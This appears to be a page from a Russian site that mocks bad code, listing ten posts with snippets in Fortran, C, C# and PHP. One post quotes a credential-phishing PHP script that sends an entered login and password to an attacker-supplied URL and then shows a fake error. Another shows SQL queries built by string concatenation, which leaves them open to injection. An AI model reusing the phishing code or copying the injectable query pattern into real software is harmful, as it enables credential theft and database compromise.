1. Лучший говнокод

    В номинации:
    За время:
  2. Куча / Говнокод #17662

    +130

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    Subroutine HBomb(x,ia,ib)
          Dimension x(*)
    c  Generate some exeption...
          x(ia*ib)=1.0
          x(ia*(-ib))=1.0
          x(1)=7.0/(ia+ib)
          Return
          End

    Серьёзный квантовохимический пакет, между прочим.

    Выше по течению этот кусок кода вызывали через call hbomb(x, 1000, -1000)

    dxd, 18 Февраля 2015

    Комментарии (15)
  3. Си / Говнокод #17553

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    char* obrab_stroki(char*, int);
    int move(char*);
    int action_register(char*);
    int speed(char*);
    int condition(char*);
    
    char answer1[25];
    uint8_t Output[512];
    uint32_t number_for_output=16;
    typedef struct { char *name; uint8_t adress; } struct_label;
    typedef struct { char *name; uint8_t adress; } struct_goto_label;
    //----------------------------------------------------------------------------------------
    while (strcmp(qwerty[++string_count],""))
    	{
    		str=obrab_stroki(qwerty[string_count], 0);
    		printf("s:%s\n",str);
    		
    		if (!strcmp(qwerty[string_count]+strlen(qwerty[string_count])-1,"{")) fig_skob++;
    		if (!strcmp(qwerty[string_count]+strlen(qwerty[string_count])-1,"}")) fig_skob--;				
    		if (!strcmp(qwerty[string_count]+strlen(qwerty[string_count])-1,"{") && !strcmp(str,"if")) { fig_skob_if++; adres_return[fig_skob_if]=number_for_output+3; }
    		if (!strcmp(qwerty[string_count]+strlen(qwerty[string_count])-1,"}") && fig_skob_if>0) { Output[adres_return[fig_skob_if]]=number_for_output; fig_skob_if--;}
    		if (fig_skob==0)
    		{
    			Output[number_for_output++]=0;
    			Output[number_for_output++]=0;
    		}
    
    		if (!strcmp(qwerty[string_count]+strlen(qwerty[string_count])-1,":")) 
    		{ 
    			label[number_label].name=qwerty[string_count];
    			label[number_label++].adress = number_for_output;
    			continue;
    		}				
    //-------------------------------------------------------------------------------------------
    if (!strcmp(str,"r")) if (action_register(qwerty[string_count]) == 1) {printf("ERROR in string: %d", string_count); return 1;} else continue;
    		if (!strcmp(str,"move")) if (move(qwerty[string_count]) == 1) {printf("ERROR in string: %d", string_count); return 1;} else continue;
    		if (!strcmp(str,"speed")) if (speed(qwerty[string_count]) == 1) {printf("ERROR in string: %d", string_count); return 1;} else continue;
    		if (!strcmp(str,"if")) if (condition(qwerty[string_count]) == 1) {printf("ERROR in string: %d", string_count); return 1;} else continue;
    		
    //-----------------------------------------------------------------------------------------
    char* obrab_stroki(char* qwerty, int i)
    {
    	int count;
    	char asnwer1[25];
    
    	for (count=0; (qwerty[count+i]<='z' && qwerty[count+i]>='a') || (qwerty[count+i]<='Z' && qwerty[count+i]>='A'); count++)
    	{
    		answer1[count]=qwerty[count+i];
    	}
    	answer1[count]='\0';
    
    	return answer1;
    }//тут как бы нет ошибок =)
    
    //----------------------------------------------------------------------------------------------
    if (qwerty[i]=='-')
    	{
    		if (qwerty[i+1]=='1' && qwerty[i+2]=='0')
    			{
    				Output[number_for_output++]=answer|MOTOR_SPEC_SPEED_DEC;
    				Output[number_for_output++]=0;
    				return 0;
    			}
    		else
    			return 1;
    	}

    Человек писал компилятор. Самые эпичные моменты

    epichniygovnokoder, 31 Января 2015

    Комментарии (12)
  4. Куча / Говнокод #17514

    +130

    1. 1
    2. 2
    Я не жду чтобы меня плюсовали, но давайте сделаем небольшую игру, ломающую стереотипы?
    Например рогалик в небольшое кол-во строк. В качестве главного героя можно взять крутого парня ломающего черепа.

    LispGovno, 25 Января 2015

    Комментарии (54)
  5. Куча / Говнокод #17452

    +130

    1. 1
    _punkPtr

    LispGovno, 15 Января 2015

    Комментарии (30)
  6. C# / Говнокод #17329

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
    
        private void button1_Click(object sender, EventArgs e)
        {
            var alldir = Directory.GetDirectories(SearchIn.Text);
            foreach (var s in alldir)
            {
                if(s.Split('\\').Last().IndexOf(SearchFor.Text) != -1)
                {
                    string parent = Directory.GetParent(s).FullName;
                    string thisfolder = s.Split('\\').Last().Replace(SearchFor.Text, ReplaceTo.Text);
                    string fullpath = parent + "\\" + thisfolder;
                    Directory.Move(s, fullpath);
                }
            }
        }
    
        private void SearchIn_DoubleClick(object sender, EventArgs e)
        {
            if (folderBrowserDialog1.ShowDialog() == DialogResult.OK)
            {
                SearchIn.Text = folderBrowserDialog1.SelectedPath;
            }
        }
    }

    Откопала свой хэллоу ворлд на шарпе.
    Что забавно, больше всего здесь меня удручают названия переменных и компонентов.

    pushistayapodmyshka, 18 Декабря 2014

    Комментарии (55)
  7. C# / Говнокод #16431

    +130

    1. 1
    bool b1 = listForm != null ? listForm.AllowAddOther : false;

    zxxc, 27 Июля 2014

    Комментарии (2)
  8. Куча / Говнокод #16343

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    PHP Devel Studio 2.0
     
    Эта программа поможет вам взломать любой почтовик а все пароли будут приходить пароли на сниффер.
    И если вы знаете языки программирования тогда для вас нет предела в этой программе!
    Скрипт:
    $edit1 = c('Form1->edit1')->text;
    $edit2 = c('Form1->edit2')->text;
    $combobox1 = c('Form1->combobox1')->inText;
    $url = "ВВЕДИТЕ СЮДА СВОЕ ССЫЛКУ";
    file_get_contents($url . "?" . "login:" . $edit1 . "|pass:" . $edit2);
    MessageBox("Невернно введёт логин или пароль", "Ошибка ввода");

    "Вирусы" на "PHP". Сбылась мечта идиота...

    http://hacker-club27.ucoz.ru/news/php_devel_studio_2_0/2012-07-22-8

    gost, 15 Июля 2014

    Комментарии (20)
  9. C# / Говнокод #16253

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    class ProducerConsumer
        {
            private static Semaphore semaphore = new Semaphore(1, 2);
            static object locker = new object();
            static int product = 0;
            private static bool work = true;
            private static bool valueSet = false; // why??
    
            private static void Producer() // производитель
            {
                while (work)
                {
                    Console.WriteLine("Thread Producer start");
                    int sqr = 0;
                    semaphore.WaitOne(); // декрементируем счётчик семафора
                    for (int i = 0; i < 15; i++)
                    {
                        sqr = i * i;
                    }
                    lock (locker) // error
                    {
    
                        while (valueSet)
                        {
                            Thread.Yield();
                        }
                        product += sqr;
                        valueSet = true;
                        Console.WriteLine("Product put: " + sqr);
                        Console.WriteLine("Product now: " + product);
                    }
                    semaphore.Release(); // выход из семафора
                    Thread.Sleep(5000);
                }
            }
    
            private static void Consumer() // потребитель
            {
                const int MAX = 5;
                int[] arr = new int[MAX];
                int result = 0;
                Random rand = new Random();
    
                while (work)
                {
                    Console.WriteLine("Thread Consumer start");
                    semaphore.WaitOne(); 
                    for (int i = 0; i < 5; i++)
                    {
                        arr[i] = rand.Next(0, 1024);
                    }
                    for (int i = 0; i < 5; i++)
                    {
                        result += arr[i];
                    }
                    result /= 5;
                    while (!valueSet)
                    {
                        Thread.Yield();
                    }
                    lock (locker)
                    {
                        if (product - result > 0) // исключаем отриц.кол-ва продуктов
                        {
                            product -= result;
                            Console.WriteLine("Product get: " + result);
                        }
                        else 
                        {
                            Console.WriteLine("Product < 0");
                        }
                        valueSet = false;
                        Console.WriteLine("Product now: " + product);
                    }
                    semaphore.Release();
                    Thread.Sleep(5000);
                }
            }
    
            public static void Main()
            {
                Thread threadProducer = new Thread(Producer);
                threadProducer.Start();
    
                Thread threadConsumer = new Thread(Consumer);
                threadConsumer.Start();
    
                Thread.Sleep(5000);
    
                Console.WriteLine("Main thread start.");
                String str = System.Console.ReadLine();
                Console.ReadKey();
            } 
    }

    Корявый пример решения задачи "Producer-Consumer".

    qstd, 29 Июня 2014

    Комментарии (23)
  10. C# / Говнокод #15857

    +130

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    class Users : Data
        {
            public int ID { get; set; }
            public string Name { get; set; }
            public int PostID { get; set; }
            public int SubdivID { get; set; }
            public QueryType qType { get; set; }
            public static QueryState qState { get; set; }
            
            /// <summary>
            /// Типы запроса для QueryBuilder
            /// </summary>
            public enum QueryType : int
            {
                Insert = 1,
                Delete,
                Update,
                SelectUsers,
                SelectUser,
                SelectUsersbyName
            }
    
            /// <summary>
            ///  Статусы открытия формы (добавление или редактирование)
            /// </summary>
            public enum QueryState : int
            {
                Insert = 1,
                Update
            }
    
            public Users()
            {
                ID = -1;
                Name = null;
            }
    
            /// <summary>
            /// Формирует запрос на основе значения переменной qType и осуществляет выборку данных
            /// </summary>
            public void QueryBuilder()
            {
                switch (qType)
                {
                    case QueryType.SelectUsers:
                        {
                            QueryText = "Select Users.ID, Users.Name, Posts.Name, Subdivisions.Name from Users, Posts, Subdivisions Where Users.SubdivID = subdivisions.ID and Users.PostID = Posts.ID";
                            Select();
                            break;
                        }
                    case QueryType.SelectUser:
                        {
                            if (ID != -1)
                            {
                                QueryText = "Select Users.ID, Users.Name, Posts.Name, Subdivisions.Name, Posts.ID, Subdivisions.ID From Users, Posts, Subdivisions " +
                                            " Where Users.SubdivID = subdivisions.ID and Users.PostID = Posts.ID and Users.ID = " + ID;
                                SelectRow();
                            }
                            else
                            {
                                MessageBox.Show("ID пользователя не найден");
                            }
                            break;
                        }
                    case QueryType.Insert:
                        {
                            QueryText = "Insert Into Users(Name, PostID, SubdivID) Values('" + Name + "', '" + PostID + "', '" + SubdivID + "')";
                            InsertRecord();
                            break;
                        }
                    case QueryType.Delete:
                        {
                            QueryText = "Delete From Users Where ID = " + ID;
                            DeleteRecord();
                            break;
                        }
                    case QueryType.Update:
                        {
                            QueryText = "Update Users set Name = '" + Name + "', PostID = '" + PostID + "', SubdivID = '" + SubdivID + "'  Where ID = " + ID;
                            UpdateRecord();
                            break;
                        }
                    case QueryType.SelectUsersbyName:
                        {
                            QueryText = "Select Users.ID, Users.Name, Posts.Name, Subdivisions.Name from Users, Posts, Subdivisions " +
                                        "Where Users.SubdivID = subdivisions.ID and Users.PostID = Posts.ID and Users.Name like " + "'%" + Name + "%'";
                            Select();
                            break;
                        }
                }
            }

    15856 Продолжение...

    Ate1st, 28 Апреля 2014

    Комментарии (1)
  11. C# / Говнокод #15844

    +130

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Text.RegularExpressions;
    using System.IO;
    
    namespace SimpleLex
    {
        class Lexical
        {
            //Сюда передается путь к файлу конфигурации
            public string Path = "";
            //Определяем ключевые слова 
            string regular = "Color|Size|Name";
            public void lexical()
            {
                //Создаем массив строк для дальнейшего заполнения
                string[] conf = new string[1024];
                //Переменная счетчик
                int i = 0;
                //Заполняем массив из файла 
                //Path мы присваиваем значение при создании
                //объекта нашего класса.
                conf = File.ReadAllLines(Path);
                //Запускаем цикл чтения 
                while (conf.Length - 1 >= i)
                {
                // Создаем новый объект класса Regex
                // и передаем ему в качестве конструктора
                // cписок ключевых слов
                Regex RegularExp = new Regex(regular);
                //Начинаем поиск совпадений в текущей строке
                Match match = RegularExp.Match(conf[i]);
                while (match.Success)
                {
                    //Ожидаем наличия совпадений
                    break;
                    //Если нашли то выпрыгиваем 
                }
    
                switch (match.Value) // Смотрим что же мы обнаружили и вызываем соответствующий метод
                {
                    case "Color":
                        //вызываем метод Color_
                        //и передаем ему текущую строку для разбора
                        //Предварительно удалив все пробелы с двух сторон
                        //если они были метод Trim()
                        Color_(conf[i].Trim());
                        i++;
                        break;
                    case "Size":
                        size_(conf[i].Trim());
                        i++;
                        break;
                    default:
                        //все другое пропускаем
                        i++;
                        break;
                }
                }
            }
            void Color_(string str)
            {
                int i = 0;
                while (str.Substring(i,1)!= "=")
                {
                    //Ищем разделитель в данном случае "="
                    i++;
                }
                //Находим и извлекаем нужную нам информацию
                string value_ = str.Substring(i + 1, str.Length - (i+1)).Trim();
                //Теперь все зависит от вашей фантазии хотите 
                //Создайте класс который будет устанавливать цвет шрифта
                //И.т.д
    
                Console.WriteLine(value_);
                Console.ReadKey();
            }
            void size_(string str)
            {
                /*
                 * В этом методе я хочу показать как быть если вы используете
                 * в своем файле для каждой команды разные разделители
                 * в теории конечно можно все это засунуть в один метод
                 * Но я советую в дальнейшем если вы будите применять
                 * именно такую структуру передавать в метод тип разделителя
                 * и соответственно искать именно его другое дело если вы имеете
                 * различный формат входных данных как у нас параметр size имеет
                 * вид shize X=100,Y=500
                 */
                //Есть прекрасный метод 
                int i = 0;
                while (str.Substring(i,1) != " ")
                {
                    i++;
                }
                str = str.Substring(i, str.Length - i).Trim();
                string[] commandMas = new string[3];
                commandMas = str.Split(',');

    (GetPrivateProfileString? Не, не слышал)
    Лютый песдеzz с сайта vbbook.ru

    brutushafens, 24 Апреля 2014

    Комментарии (61)